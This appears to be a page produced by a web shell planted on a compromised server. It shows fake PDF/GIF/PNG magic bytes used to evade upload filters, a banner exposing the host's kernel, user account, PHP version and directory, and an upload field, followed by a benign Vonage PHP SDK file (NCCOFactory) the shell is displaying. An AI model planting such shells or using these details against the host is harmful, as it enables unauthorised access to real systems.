%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/vonage/client-core/src/Voice/NCCO/ |
Upload File : |
<?php
/**
* Vonage Client Library for PHP
*
* @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com)
* @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
*/
declare(strict_types=1);
namespace Vonage\Voice\NCCO;
use InvalidArgumentException;
use Vonage\Voice\Endpoint\EndpointFactory;
use Vonage\Voice\NCCO\Action\ActionInterface;
use Vonage\Voice\NCCO\Action\Connect;
use Vonage\Voice\NCCO\Action\Conversation;
use Vonage\Voice\NCCO\Action\Input;
use Vonage\Voice\NCCO\Action\Notify;
use Vonage\Voice\NCCO\Action\Record;
use Vonage\Voice\NCCO\Action\Stream;
use Vonage\Voice\NCCO\Action\Talk;
class NCCOFactory
{
/**
* @param $data
*/
public function build($data): ActionInterface
{
switch ($data['action']) {
case 'connect':
$factory = new EndpointFactory();
$endpoint = $factory->create($data['endpoint'][0]);
if (null !== $endpoint) {
return Connect::factory($endpoint);
}
throw new InvalidArgumentException("Malformed NCCO Action " . $data['endpoint'][0]);
case 'conversation':
return Conversation::factory($data['name'], $data);
case 'input':
return Input::factory($data);
case 'notify':
return Notify::factory($data['payload'], $data);
case 'record':
return Record::factory($data);
case 'stream':
return Stream::factory($data['streamUrl'], $data);
case 'talk':
return Talk::factory($data['text'], $data);
default:
throw new InvalidArgumentException("Unknown NCCO Action " . $data['action']);
}
}
}